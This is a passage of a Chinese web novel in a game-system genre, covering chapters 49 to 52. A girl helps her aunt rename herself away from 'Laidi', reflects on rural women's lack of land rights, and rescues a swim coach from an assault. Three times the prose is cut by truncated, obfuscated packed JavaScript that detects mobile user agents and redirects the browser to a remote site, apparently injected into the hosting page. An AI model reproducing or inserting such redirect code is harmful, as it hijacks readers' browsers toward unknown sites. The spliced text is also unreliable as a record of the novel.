“大姑想改名！”晏北回叫道，“我赞同她改名！你是大姑的弟弟，难道不想让大姑改一个好寓意的名？” “你听谁说的你大姑要改名？”爸爸呵斥道，“话别乱说，长辈的事长辈自己会解决，用不着你这小辈瞎操心！好了，就这样，我挂了！” “嘟——” 通话断开了。 晏北回拿着手机，委屈得双眼含泪，忍不住哭了：“我爸他……他根本就不想听我说的话！他一点儿也不尊重我！我快十八岁了，马上便成年了，他还当我是个小孩子！” 无论是她爸爸，还是她妈妈，都比不过陆晨曦的妈妈。 为什么她爸妈不能尊重她一下啊？为什么她爸妈那么迂腐不开化？ 他们没钱就算了，爱也没有，简直一无是处！ 越对比晏北回越伤心，她接过崔皓月递来的纸巾，顾不上仪态，哭得稀里哗啦。 陆晨曦搂着她，轻声安慰。 崔皓月不会安慰人，只能附和陆晨曦，让晏北回别太难过。 晏北回被爸爸拒绝是她早已预见的结果，陆晨曦却鼓励晏北回尝试，是希望她和晏北回变得更勇敢？亦或，为了让晏北回认清爸爸的态度，别再对爸爸抱有希望？ 大约二者皆有。 不能勇敢地寻求爸爸的支持，就不会知道爸爸的态度，更不会对爸爸失望。 餐厅里人来人往，晏北回哭了一会儿，不好意思地止住哭泣，问两位好朋友：“我是不是很脆弱？我不想哭，可是我委屈……” “没事，哭了心里会好受一些。”陆晨曦说，“现在，你得告诉你大姑，你爸爸拒绝支持她改名。” “要说吗？晨曦、皓月，我好像做错了……”晏北回惴惴不安。 “你没有错，你只是希望你大姑改一个好寓意的名字，希望她以后的人生更美满。”崔皓月柔声说，“有错的是你爷爷，以及你爸爸。” 听到爸爸这个称呼，晏北回便想哭：“我不明白，为什么爸爸不肯劝大姑改名，他不让我叫盼弟，怎么能让大姑叫来娣？大姑跟他是不是有什么矛盾？” 犹豫了下，崔皓月选择讲刺痛晏北回的实话：“你爷爷不能平等对待你和你弟弟，难道会平等对待你大姑和你爸爸？” 会吗？晏北回不相信爷爷会。 心里好像有一个天平，这边是可怜的大姑，那边是她的爸爸。爸爸的分量无疑更重，然而她同情大姑。 她不想做出违心的决定，逼迫自己给出正确的判断：“应该不会……不，肯定不会！” 爷爷不会疼爱大姑，他的父爱全都给了她爸爸。 正如爷爷把爱给了她弟弟，不舍得给她这孙女一丁点。 “但是……”晏北回为爸爸辩解，“但是，我爸和大姑是亲姐弟啊……” “我和我弟弟也是亲姐弟。”崔皓月说，“我弟弟家庭幸福，看不到我的痛苦。他和我爸妈在大城市生活，你猜他会不会劝爸妈带我去大城市？” “怎么会呢？”陆晨曦替晏北回答道，“父母的爱就那么多，谁不想独占？” 晏北回也有弟弟，她知道两位好朋友的意思。 姐姐和弟弟是天然的竞争者，都希望父母更疼爱自己。 被爷爷起名“来娣”的大姑争不过她爸爸，她爸爸作为胜利者，为什么连支持大姑改名都不愿意？他被大姑亏待过？ 出于孩子对父母的崇敬，晏北回不想承认爸爸是一个卑劣恶毒的人。 这时，陆晨曦提醒她：“北回，该跟你大姑坦白了。” 晏北回迟迟不行动：“我怕我大姑怪我。” 崔皓月说：“怕她怪你就主动向她承认错误，她会体谅你。” “是的。”陆晨曦表示赞同，“假使你爸爸先找你大姑说这件事，你大可想象一下，你爸爸会怎么说。你爸爸把你当小孩，他会不会觉得你是被你大姑唆使了，才会劝说他支持你大姑改名？若是那样，你和你大姑的关系肯定会出现裂痕，你乐意你被你大姑误会吗？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654098|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“当然不！” 晏北回了解自己的爸爸，陆晨曦的猜测未必不会成真。 生怕爸爸抢先，她连忙打电话给大姑解释。 正中了崔皓月的预料，大姑体谅她，没有责怪她。 由于她爸爸不支持大姑改名，大姑的声音充满忧郁：“唉，名字用了几十年，接着用几十年也没啥不好的，还是别改了吧。” “不要！”晏北回又心酸又难过，眼眶热热的，泪水马上要落下，“大姑，你成年了，改名不需要征求任何人同意！只要你想改名，你就能改掉来娣这个讨厌的名字！我的好朋友改过名，我知道改名的程序，我陪你去改名好不好？” “我也可以陪同。”崔皓月在旁边说。 “对，我有空，我也能陪着你们一起去！”陆晨曦马上附和。 自己做的事是正义的，自己有两位好朋友支持！ 晏北回的心情变得轻快了一些，努力劝说想改名却下不了决心的大姑：“国家规定的，成年人改名不需要任何人同意！大姑，你已经做了几十年来娣，未来的几十年怎么能继续做来娣呢？而且，现在是新中国，新世纪，来娣这种旧社会才有的名字就应该被时代抛弃！” 电话打了半小时，晏北回的耐心终于得到想要的回报，她大姑决定改名了！ 耶！胜利！ 餐厅里响起三个好朋友的欢呼声。 成功了！ 晏北回热泪盈眶地捧着手机，看视频通话里的大姑，激动地说：“大姑！你要开始新人生了！我的好朋友改名后，做什么都顺利！你改了名，你也会一切顺利，日子越过越好！” 大姑的眼睛也红了，擦了擦泪，说：“谢谢你劝我，北回，你是个好孩子，会疼大姑了！” 活了几十年，大家都没觉得她叫来娣不好，只有北回极力劝她改名。 被夸奖的晏北回有些害羞：“大姑，我快成年了，你不要把我当成孩子看啦。” 大姑笑了：“我看着你从婴儿长到这么大，你就算老了，在我看来也是一个孩子。” 自己和大姑的关系更亲密了，晏北回心里暖暖的，随即她想到一件事：“大姑，你要改什么名呀？要不要我帮你想？我读了十二年书，很有文化的！” 要改什么名字，大姑没什么头绪，她初中没念完就去打工了，她说：“好啊，你给大姑选一个好名字。” “大姑想要什么寓意？平安？健康？顺利？”晏北回在大脑里搜刮着好词好字，“你对未来的人生有什么期望？” 为生活奔波忙碌的大姑没有思考过人生，说：“我没什么期望的，大家都平安健康，你和你表妹都有出息，便是最好的未来。” 三个好朋友一起为大姑起名字，大姑选了最喜欢的名字：“叫安宁吧，这个好。” 【叮！你为晏安宁改名提供帮助，你获得100积分奖励】 系统悄悄刷新一条消息。 崔皓月一下子知道晏北回的大姑真正下定决心改名，不由得夸赞结束视频通话的晏北回：“你好厉害！你成功劝你大姑改名，你改变了她的人生！” 100积分奖励应该给晏北回！ 正是她的不懈努力，方能达成如此圆满结果。 得到好朋友认可，晏北回受宠若惊，谦虚地说：“我没那么厉害啦！要不是你们提醒我，我根本不会想到大姑叫了几十年来娣有多委屈。” 陆晨曦笑着说：“该是你的荣耀，你好好地受着便是。”招手叫来服务员，“我们要开一支香槟庆祝喜事，谢谢了。” “哇！开香槟庆祝！”晏北回又惊又喜，“我只在小说和电视上见过这种事！晨曦，你好懂，你太懂浪漫了！你简直是浪漫本身！” 50.不存在的乡愁 香槟是酒，多喝会醉，崔皓月浅浅地尝了一口，味道还不错。考虑到待会儿要游泳，陆晨曦和晏北回也没有多喝。 饭后消食有益于身体健康，她们在酒店附近逛了半小时，才坐电梯上五楼，来到半露天的游泳池。 两位好朋友一块去换衣服了，崔皓月在泳池边闲逛，欣赏旁边的花园，遥望远方美丽的夕阳，看着太阳缓慢地坠向地平线。 这样壮丽的景象，她上次见到还是在村里。不过城市的空气中漂浮着云雾般的污染物，日落像是蒙着薄纱，看不清晰，并没有村里看到的那么恢宏。 晚风凉丝丝的，她拨了拨被吹乱的头发，心想：头发长了，该去修剪了。 村里景色好，空气清新，山峦青翠，可她不会再回去。 除非，她拥有了改变山村的能力。 崔皓月想到教科书上比城市更繁华漂亮的富裕乡村，住在那里的人，会不会像她爸妈一样疼爱男孩厌恶女儿？会不会像晏北回的爸爸一样，反对被起名“来娣”的姐姐改名？ 书上试卷上常常有人抒发乡愁，她的爸爸、叔叔回到村里也会露出怀念的神色，但崔皓月从不思念家乡，也没有让家乡富裕的想法。 家乡让她想到的，是男孩高人一等，是17岁结婚18岁生孩子的慕娣，是悄悄收了别人的彩礼，带着一群人来学校逼迫她辍学回家结婚的爸爸。 二十一世纪已经过去四分之一，为什么乡村不能与时俱进？ 经历的人生太短，她对世界的认识太少太贫乏了，对生活中各种现象的思考也少，她需要年长者引导，需要年长者给予的启发。 想了想，崔皓月拍下夕阳中的泳池，将照片发给陈若龙：“老师，我和北回正在跟晨曦学游泳。傍晚了，你吃饭了吗？” “正在菜市场买菜呢。”陈若龙发来西红柿的照片，“晚上没什么好菜，唯一的好处是便宜，我想做番茄汤，可是现在的番茄总是没有番茄味。” 什么叫番茄味？崔皓月不懂。 陈若龙解释：“番茄味就是番茄的本味，我小时候家里种那种小小个的番茄，不是很甜，结的果子也少，但是番茄味很浓，能当水果吃。” “老师小时候也住在乡下？” “是啊，老师从前可不是城里人。” 陈若龙嫌打字麻烦，换成语音，背景里有别人讨价还价的声音：“我老家在大山里，人很少，田地几乎荒废，大家都出去打工赚钱，我平时也不想回去。” “过年才回去？” “看情况，我今年过年就没有回去，在市里过年更舒心。”陈若龙说，“老家山清水秀，瓜果蔬菜也好吃，我回家，为的主要是搞点土特产。唉，要是我在市里有块菜地，可以种点爱吃的蔬菜，那得多好。” “老师喜欢种菜？” “种菜给自己吃还是喜欢的。我从前便想，退休了一定要回老家，种点菜，养几只鸡几只鸭什么的。可惜，我老家那些个人全是葛朗台，宁可田地荒废也不肯分我。田园生活是他们的，回乡下种菜养鸡也是他们的，我没田没地，还是在市里养老吧。” 对，田地！ 崔皓月马上想起，姑姑抱怨过，嫁了出去，户口迁移到男方家，自己家的田地山林就和姑姑没有任何关系了。 姑姑的丈夫也是乡下人，可他家的田地，不会分给姑姑。 姑姑是没有田地的人。 她买不起大城市昂贵的房子，在丈夫的老家盖起一座新房。 然而，那座因为缺钱尚未装修妥当的新房，她只在逢年过节时回去住几天。 更多的时候，是她丈夫的父母住在那座房子里，甚至拿她的房间养鸡。 那座房子属于她吗？崔皓月不由得思考。 盖起那座房子的钱不全是姑姑出的，姑姑的丈夫也出钱了，房子是夫妻共有的资产。 可是，盖房子的土地不属于姑姑。 那座房子甚至没有姑姑的房间，她必须和丈夫共用卧室，甚至共用床和被子。 如果姑姑和丈夫发生矛盾，姑姑能去哪里？ 房子的归属权很不清晰，崔皓月连那座房子的房产证上有无姑姑的姓名都不知道，无从判断姑姑到底是有房子还是没有房子。 她能肯定的是，她有自己的房子，有没有自己的田地尚且不知道。 “老师，你一直不结婚，你家也不分田地给你吗？”崔皓月觉得陈若龙应该能分得田地。 陈若龙告诉她：“事情没那么简单。我确实不结婚，可他们觉得我会嫁出去，硬是不分田地给我，我能怎么办？我倒也不是很稀罕老家那几块地，只是地应该归我，却落不到我的名下，被别人占去，我很不服气。” 结婚的女人不能分到娘家或夫家的田地，不结婚的女人也分不到田地。 田地这种农民最重要的资产，仍然遵循着农耕封建时代的旧俗，仅在男性之间流通。 难怪爸妈非要生个男孩，因为没有男孩等于没有田地。 家里的田地不属于她，正如她淘汰的被子、枕头，她有使用权，不具备所有权。 这就是她从不思念家乡的原因？ 同是来自乡村的女性，崔皓月好奇陈若龙的想法：“你会不会有乡愁？” 陈若龙笑了：“为何这样问？你看了男作家写的乡土小说？那些东西不要看，看了没有好处，还会被恶心到。” “我没看，我没有乡愁，我想知道你有没有。”崔皓月讲实话，“我不想振兴乡村，这似乎是卑劣的想法。” “人之常情罢了。有些事必须做，却没人去做，大家才会喊口号，呼吁别人做。”陈若龙挑好蔬菜，看着小贩称重，对手机那边的学生说，“老家没我的田地，骂我是嫁不出去的老姑婆，我振兴它干嘛？它越早消亡越好。” 恰在这个时候，徐凌波给崔皓月发来消息：“怎么办？我妈不相信我，也不相信你！我跟她说，资助你的老板是女的，她说我被你骗了，不准我跟你来往。” 她的遭遇，让崔皓月想到打电话劝说爸爸支持大姑改名的晏北回。 徐凌波的妈妈也不是一个愿意倾听孩子想法的人。 崔皓月并不感到意外，她问徐凌波：“那你愿意相信我吗？” 徐凌波：“我信你！你会劝说慕娣改名，你成绩那么好，怎么会是不三不四的人？哼，等到成绩出来，你考上名牌大学，我一定要告诉我妈，让她知道你到底有多优秀！” 成绩能改变别人的看法吗？ 崔皓月委婉地说道：“你妈会对比你和我，如果你考得不够好，你妈会责怪你。” 徐凌波苦恼：“那我不说？可是我不说，她会一直误会你，将你当成那种人，觉得我跟你来往会被你带坏。唉！你奶奶怎么那么坏？她要是不到处说你傍上有钱人，别人怎么会误会你？” 【叮！你触发了生活事件】 【奶奶在老家造谣抹黑你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665840|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的名声，你决定——】 【选项一：无视，获得10元零花钱】 【选项二：打电话痛骂奶奶没良心，获得500元零花钱和100元话费】 【选项三：教训奶奶，让她再也不敢造谣抹黑你，获得5000元零花钱和200元路费】 哇！五千块钱！ 选项三的丰厚奖励令崔皓月眼前一亮，心里仿佛有个声音在催促：选它！快选它！ 只是，选项三不好实现。 它要求她达成奶奶不敢造谣的结果，没有告诉她怎么做才能完成这个目标。 奖励较少的选项二同样没有告诉她怎么骂，要她自由发挥。 至于选项一，有五千块钱，谁还稀罕区区十块钱。 人是要挑战自我的，崔皓月选择选项三，暗暗希望系统给提示。 如她所愿，系统发生了变化，却不是她想看到的变化。 【请使用者在两个月内完成决定，半途而废无法获得任何奖励】 【当前事件进度0%，事件剩余时间59天23小时59分】 好吧，时间很充裕，她可以慢慢思考怎么做。 五千块肯定是要拿到手的，崔皓月告知徐凌波：“我应该回家一趟，跟我奶奶谈谈。” 徐凌波给出建议：“出了成绩再回来，你一定要让你奶奶和妈妈为你的优秀震惊！我要看你狠狠打她们的脸，上演战神归来！” 崔皓月失笑：“我会好好考虑的。” 老师也要回复。 崔皓月又看了一遍陈若龙对乡村的看法，对比老师和姑姑的人生，很容易便明白了陈若龙为何不结婚。 女人结婚，不仅仅意味着为别人做饭、洗碗、打扫卫生，还意味着娘家将她视作外人，夫家也不会把她当成自己人。 她不能从任意一方分得田地，她的努力拼搏增加了夫家的财富，她对夫家付出越多，她失去的越多。她看似自由，仿佛家庭的女主人，实则是男方家族的附庸。 正如她姑姑，辛辛苦苦打工赚的钱，变成夫家的房子。 崔皓月再次坚定自己的人生态度。 结婚是不可能结婚的。 她连别人的碗都不想洗，岂能为别人奉献自己的钱和精力？ 崔皓月回复陈若龙：“老师，田地不能争吗？书上说，农村土地分配不论性别，给男人分田地却不给女人分，这种事是违反宪法的。” 陈若龙：“书上说的跟现实是两回事，我总不能告我老家的人吧？” 崔皓月说：“他们不分你田地，为什么不能告他们？北回买的衣服比男款贵，她让商家向她道歉，她还要把商家告上法庭。” 陈若龙叹息：“打官司很麻烦的，要钱，要精力。我寻思着，田地也不值什么钱，不给我分就不给我分呗，我又不用依靠那几块田地活着。” 不是每个人都会较真到底，崔皓月明白这道理，她说：“我家也有田地，要是他们不分我，我会告他们。该是我的东西必须给我，就算我不需要，我也不想让给别人。” 接着，她跟老师说：“我奶奶造谣我，让别人误会我傍上有钱男人，我打算回家一趟，要求我奶奶澄清谣言。” “别回去！”陈若龙严肃地说，“你忘了你爸爸带那么多人来学校找你？要不是刚好有警察在场，你指不定被强行带走，高考都无法参加！害你的亲人，你要远离，离得越远越好，绝对不能跟他们纠缠！” 51.见义勇为 在学校他们都那么嚣张，在乡下那还得了？ 奶奶造自己黄谣，村里人爱误会就让他们误会去，反正自己不回乡下生活，谣言的影响约等于零。 生怕学生一意孤行中了恶毒的算计，陈若龙发来语音：“皓月，我不准你回去！你还认我这个老师就乖乖听我的话，不要跟你奶奶联系，不要了解村里的事！” 听出陈若龙怀疑奶奶不怀好意，崔皓月垂下头，她的确没有考虑到奶奶故意用黄谣激将自己回家的可能。她已经武道入门，具备不俗的武力，可她一个人斗得过多个成年人吗？ 要拿五千块，她得做好充分准备，否则她有可能回去老家就无法离开。 那么，有什么办法，能在不回老家的前提下，让奶奶再也不造谣？ 崔皓月苦思冥想。 “皓月！” 她的两个好朋友换好泳衣了。 崔皓月循声望去，陆晨曦穿着连体泳衣，仿佛参加游泳比赛的选手，晏北回穿的连体泳衣却像一件普通连衣裙。 “我选的泳衣好看吗？”晏北回在她面前转了一个圈，脸色微红，“晨曦那种泳衣我试穿了，感觉很别扭，要是我的胸小一点就好了，穿什么都好看。” “好看不实用。”陆晨曦给出评价，“你穿成这样，只适合躺在沙滩上晒太阳。” “是有点，我也不想这样，可是……”晏北回环视了一眼周围的人，头埋得更低了，小声说道，“我怕猥琐男偷看！泳衣还是保守点更好。” “皓月在这，谁敢对你不礼貌，让皓月揍他！”陆晨曦搭着她的肩膀，用力拍她的后背，“抬起头，挺直腰杆，自信一点！你是来这里学游泳的，花了四十块钱呢，这么畏畏缩缩像样吗？” “我……我害羞！”晏北回挨着陆晨曦，利用她遮掩自己，“我没游过泳，我怕！” 说着怕，她看了看表现得落落大方的陆晨曦，又看了看非常能打却不显山不露水的崔皓月，腰杆悄悄地挺直了一点点。 注意到她微小的变化，陆晨曦恨铁不成钢：“我怎么觉得你是我们三个里头胆子最小那一个？” 晏北回干笑：“有、有吗？” 好像是哎。 不过，想到花掉的四十块门票，晏北回催促道：“快点！教我游泳！我来游泳池不是为了跟你聊天的！” 钱，必须花得有价值！ 陆晨曦和崔皓月都认同她的理念，陆晨曦说：“来，我们先做热身运动。” “怎么游泳跟跑步一样？”晏北回找了位置站好，跟陆晨曦学习热身运动怎么做。 今天还在经期，崔皓月不便下水游泳。 可是她明天要游泳。 两位好朋友热身，她觉得练武姿势更适合热身，也摆出姿势做动作。 陆晨曦一边热身一边回头看她俩，说：“游泳也是运动项目，你的体温未必和水温一样，不做热身运动下水，身体可能会感到不适。” 晏北回了然：“我洗澡要用热水，游泳池里的水，应该是常温的，会有点冷。” 游泳池另一侧，几个人正在跟教练学游泳。 听到女孩们说话，有人投来了目光。 随后，又有人指着陆晨曦问教练：“我能跟她学游泳吗？我觉得你不是个好教练，让我们热身，连一句为什么要在下水前热身的解释都没有，很不称职。” 教练是男的，委屈地说：“你们也没问我呀，我是游泳教练，不是老师。” 那位指责他的中老年女性很不高兴：“我花钱请你教游泳，还得我问你你才教？你是不是想让我投诉你？叫那个女的来，我要换教练！” 男教练头疼起来：“不好意思，她不是游泳教练，她是客人。” 不仅是客，还是贵客，上司特地叮嘱过他的，千万不能冒犯的贵客。 “连个客人都比你会当游泳教练！”阿姨越发不满，对别的学员说，“学游泳要花一千多块钱，那么贵，他竟然敷衍我们！” 这个年龄段的女人都不好惹，男教练的能力有目共睹，对他不满的不只是阿姨一个。没一会儿，游泳池换了一位女教练接手这批难缠的成年学员，不满的声音一下子少了。 女教练确实比男教练细心，作为同性，她不会让阿姨们对肢体接触的教习过程感到尴尬。 而陆晨曦和晏北回，已经下了水，在中练游泳。 崔皓月在岸边认真地看，记下陆晨曦传授的游泳小技巧，参照晏北回的学习过程，模拟自己学游泳可能遇到的难点。 到了晚上十点，游泳池才闭馆。 晏北回学了一个晚上，能勉勉强强地在游泳池里游出两三米远。 可喜可贺！ 要知道，她在傍晚还是个十足的旱鸭子。 城市夜晚不熄灯，路上的车少了很多，显得有些冷清。 萦绕飞虫的路灯下，三个女孩踩着共享单车，一起往家里赶。 红灯亮起时，她们停下等待，一边聊着天。 “北回先回家，然后我和皓月分开。”陆晨曦挠了挠有些发痒的鬓角，“到家了，我们要在群里面说一声，让彼此安心睡觉。” “不至于吧？我觉得我们市治安挺好的。”晏北回甩甩手，怀疑自己明天起床会浑身酸痛。 游泳是一种运动，她却不是一个经常运动的人，肌肉不适应突然增加的运动强度。 崔皓月望着红灯的秒数，说：“小心点是不会错的。” 红灯还剩下五六秒，陆晨曦做好骑车的准备，漫不经心地说：“2025年了，皓月她爸敢带人去学校逼她辍学嫁人，你觉得治安好吗？” “好，因为皓月的坏爸爸被警察阿姨抓去批评教育了！”晏北回很乐观，“我知道一条快捷的小路，要不我们抄小路回家？好困，想立刻躺到床上睡觉！” “也行，反正皓月是高手，能打得很，遇到坏人也不怕。”陆晨曦没有意见，“皓月，你觉得呢？” 崔皓月点点头：“嗯。” 红灯结束了，她们骑车过斑马线，在晏北回的带领下拐进凹凸不平的小路。 路不大，也不平，灯还是有的，路两边分布着连在一起的自建房。 黑夜寂静，路过一条没有灯光的巷子时，崔皓月忽然听到女人的叱骂，声音很熟悉。 “你想干什么？我没请你去我家做客，你竟然跟我上楼？” “我喜欢你，给我个机会嘛，我想跟你谈恋爱！而且，你都同意我送你回家了，我去你家坐坐怎么了？” 这是男人的声音。 女声是游泳池的教练？ 崔皓月停下，陆晨曦和晏北回跟着停下：“怎么了？” 崔皓月竖起手指示意她们安静。 “胡说！”女声愤怒地道，“你也送琳姐回家，你怎么不去琳姐家里坐坐？” “琳姐有老公，我总不能追求她吧？我对结婚的女人不感兴趣。你别拒绝我，我真的想跟你谈恋爱，结婚也行，我们挺般配的！” “滚开啊！”女声充满抗拒，“你难道想逼我报警抓你？” “啪！” 崔皓月听到什么东西摔在地上的声音，紧接着响起的是扇巴掌的声音，女人发出的尖叫被捂住，男人咬牙切齿地说：“贱人！别给脸不要脸！老子追你是看得起你！” 摔在地上的是手机！ 男人动手了！ 【叮！发现特殊事件！】 【听到男人暴力殴打女人的动静，你决定——】 【选项一：无视】 【选项二：立刻阻止，奖励300积分】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680344|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【选项三：你有更好的解决方法，视情况奖励积分】 特殊事件不需要即刻作选择，但正在进行的暴行必须阻止！ 崔皓月丢开车，跑向声音传来的方向，大声喊：“发生什么事？要报警吗？晨曦、北回，我听到有人在打人，你们快报警！” 居民楼里的动静为之一顿，女人用力挣扎，发出求助：“救命！快报警！有人打我！” “闭嘴！你这贱人！”男人恼羞成怒，“你勾引我，不然我会送你回家？” 扭打声响起，女人和男人在缠斗。 崔皓月跑得飞快，迅速抵达楼梯里亮着光的居民楼。 看见男人奋力压着女人，毫不犹豫地踹他一脚，一拳砸在他脸上，砸得他晕乎乎才将他拉开，卸了他的四肢关节。 女人的确是游泳池那位教阿姨们游泳的教练，男人是引起阿姨们不满的男教练。 “狗东西！”女人气坏了，爬起来便扑向男人，对他一阵拳打脚踢，边教训他边骂，“看我不揍死你！我有答应你的追求了？我跟你话都没说过几句！你送我回家我还觉得你人不错，结果你人面兽心，竟然想强/奸我！你这垃圾玩意！你妈生你不如生个胎盘！” “我报警了！”陆晨曦的反应慢了一步，跑到楼下喝道，“谁都不准干坏事！警察马上过来！” “大家都别睡觉，出大事了！”晏北回大喊大叫，“皓月，我来了！” 手脚使不上劲，男人被打，毫无还手之力，吓得痛哭：“救命！我被疯女人打了！我快要被她打死了！救命！” 崔皓月冷眼旁观他挨打，没有阻止的意思。 女人下手毫不留情，噼里啪啦扇了男人几个巴掌，怒吼道：“打死你最好，免得你祸害别的女人！老娘礼貌对你，你得寸进尺，摔坏我手机，还打我！我不揍你一顿，我自己都看不起我自己！” 等到警察赶来，男人鼻青脸肿，见到警察如同见到亲妈。 他哭着嚎着逃到警察身边，要警察教训揍他的女人，把崔皓月三人打成女人的帮凶：“她们聚众围殴我一个！我要被打死了，呜呜呜……” 好巧不巧，来的正是那位可敬的警察女士，曾将崔皓月的爸爸抓去批评教育。 她相信崔皓月三人的品格，得知她们见义勇为，当即夸赞她们勇敢地阻止了一场恶行，接着告诫她们，下次遇到类似的事不要冒险，要报警等待警方处理。 毕竟坏人不讲道理，有可能伤及无辜。 安排一位下属送三个好朋友回家，警察女士将教练和男人带回警察局，在了解内情后亲自送教练回家。 至于作恶的男人，他当然会受到应有的严厉处罚。 陆晨曦认识警察女士，得知男人被严惩，开心地在群里分享好消息：“咱们仨可以睡个好觉了！” 是的，她们熬夜等待警方处理案件。 晏北回：“还得是警察阿姨可靠！我就知道，她不会让我们失望！” 崔皓月不习惯熬夜，感觉上下眼皮在打架，在群里说：“晚安，我睡觉了。” 晏北回睡不着，对陆晨曦说：“我忽然有点想考公当警察了，做秘书虽然不错，可是做警察更帅气，能帮到很多人。” 陆晨曦：“你对未来的规划怎么一天变一个样？想当警察你得报考警察院校，不过我建议你先学会游泳，再考虑报考什么大学。” 免得到时又变卦。 晏北回猜得到她的想法，有些尴尬地说：“我也想做个意志坚定的人，但是警察阿姨那么帅，我想像她一样帅，这是很正常的想法吧？你可别告诉我你不想。” 陆晨曦：“我理解你的意思，这样吧，你先睡个觉冷静一下。” 晏北回：“[怒]小心了，今晚我要变成恐怖厉鬼，去你梦里吓唬你！” 52.偏心 不知是生物钟过于强大还是读书期间养成的习惯所致，崔皓月在早上六点半准时醒来。 此时太阳刚刚升起，柔和的晨光穿过窗户和窗帘，在墙上留下暗淡的影子。世界仍是安静的，没有噪音。 她不觉得困倦，也没有睡眠不足引起的疲惫。 昨晚睡了几个小时来着？ 凌晨十二点多入睡的，陆晨曦和晏北回这会儿估计还在梦里。 高达11点的【体质】让她精力充沛，睡五六个小时也能照常学习，甚至参加考试。可是她的身体还在生长发育期，需要保持充足的睡眠，不能仗着体质优势肆意熬夜。 盖在身上的薄被柔软轻盈，枕头是不太熟悉的高度，崔皓月换成更舒服的睡姿，侧头看放在床头柜的两张照片。 她和陆晨曦在公园里骑自行车。 她、陆晨曦、晏北回参加校运会。 拍照时她那么快乐，此时回想亦不由得笑。 这里是她的卧室，这里是她一个人的家！崔皓月张开双手，温柔地抱了一次世界，然后睡回笼觉。 8：30，崔皓月起床了。 8：40，崔皓月带着手机和钥匙下楼，开始晨跑。 9：10，崔皓月结束晨跑，走进小区外的一家早餐店，点了一碗馄饨。 9：15，崔皓月尝了一口热腾腾的馄饨，后悔没有去公园附近那家馄饨做得特别好吃的早餐店，后悔没有自己买菜做早餐。 馄饨馅少！还不好吃！难怪这家店客人寥寥，老板闲得玩手机。 好在食材是新鲜的，崔皓月味觉灵敏，能尝得出来。 【体质】增强的不仅是精力，也提升了味觉等感官能力，以至于不挑食的崔皓月变得挑食，毕竟食物新不新鲜她尝了就能知道。 食物不能浪费，好歹是花了钱的，崔皓月苦着脸色吃早餐，一边打开手机，提醒住在附近的两位好朋友注意避雷。 晏北回：“刚睡醒，人在被窝，不想起床。” 陆晨曦：“正在洗漱，北回赶紧起床，我们刚好一块去吃早餐。今天有什么安排？都来我家打游戏吧，下午两点再去游泳池学游泳！” 崔皓月实在吃不下难吃的馄饨，赶紧把钱付了，在群里说：“我还饿着，我要去那个馄饨很好吃的早餐店！” 陆晨曦：“好，我在门口等你，我们去找北回。@北回，小懒猪起床了没？” 晏北回：“起来了！我马上出门！” 今天阳光灿烂，陆晨曦出门时戴了棒球帽，她把自行车交给崔皓月：“轮到你载我了！皓月，你要不买个自行车？出门方便。” 现在的崔皓月不必将自行车坐垫调整到最低，看到陆晨曦坐好了，她熟练地蹬着自行车驶出去，说：“自行车应该很贵吧？我想买个二手的。” 身为地产老板的女儿，陆晨曦的自行车是名牌货，其价钱令人望而生畏。 家境平常的晏北回也有自行车，得知崔皓月需要二手自行车，顿时心念一动，请她看自己家淘汰的小自行车：“你看这个合不合适？虽然小了点，但是能用。” “你不用这车？”崔皓月问。 “从前用，现在不用，我和我弟都有一辆新的自行车。”晏北回说，“你要的话，一百块卖给你。” “你爸妈能同意？”崔皓月不挑，只怕晏北回的爸妈不肯卖。 “不同意也得同意，不然这辆车怎么处理？”晏北回说，“总不能卖给收废品的吧？我问一下我妈，她应该会同意。” 说完，晏北回走到一边，给妈妈打电话。 她妈妈并不同意：“三四百块买的车，现在还能骑，一百块那是贱卖。” 晏北回不耐烦：“都用了十年了，卖一百块咋了？车不卖也不骑，你打算怎么处理？” 妈妈有主意：“你大表哥的儿子能骑自行车上街了，车给他骑，免得你大表哥又花冤枉钱买一辆新车。” “你送人家旧车，人家稀罕么？”晏北回让妈妈给气笑了，“大表哥的儿子出生那年，你把弟弟的旧衣服送人家，人家怎么对你的你忘了？衣服收下，转头扔掉，还到处说你吝啬，新衣服都不舍得送。” “是你大表嫂不懂事！”旧事重提，妈妈不高兴，“旧衣服穿着更舒服，要不是你大姨问我要，我能把你弟的衣服送出去？” “瞎说，大表哥不同意，大表嫂会扔衣服？妈，少自作多情了，人家问你要旧车你就得送？可别要了又丢，白白糟蹋你的心意！”以己度人，晏北回也不稀罕别人的旧东西，“卖了能拿一百块呢，你不赚这钱，我乐意赚！” 一番好心落得个吝啬的形象，妈妈叹气，不想送车了：“想卖就卖吧，但一百太便宜了，最起码你得收一百五吧？” 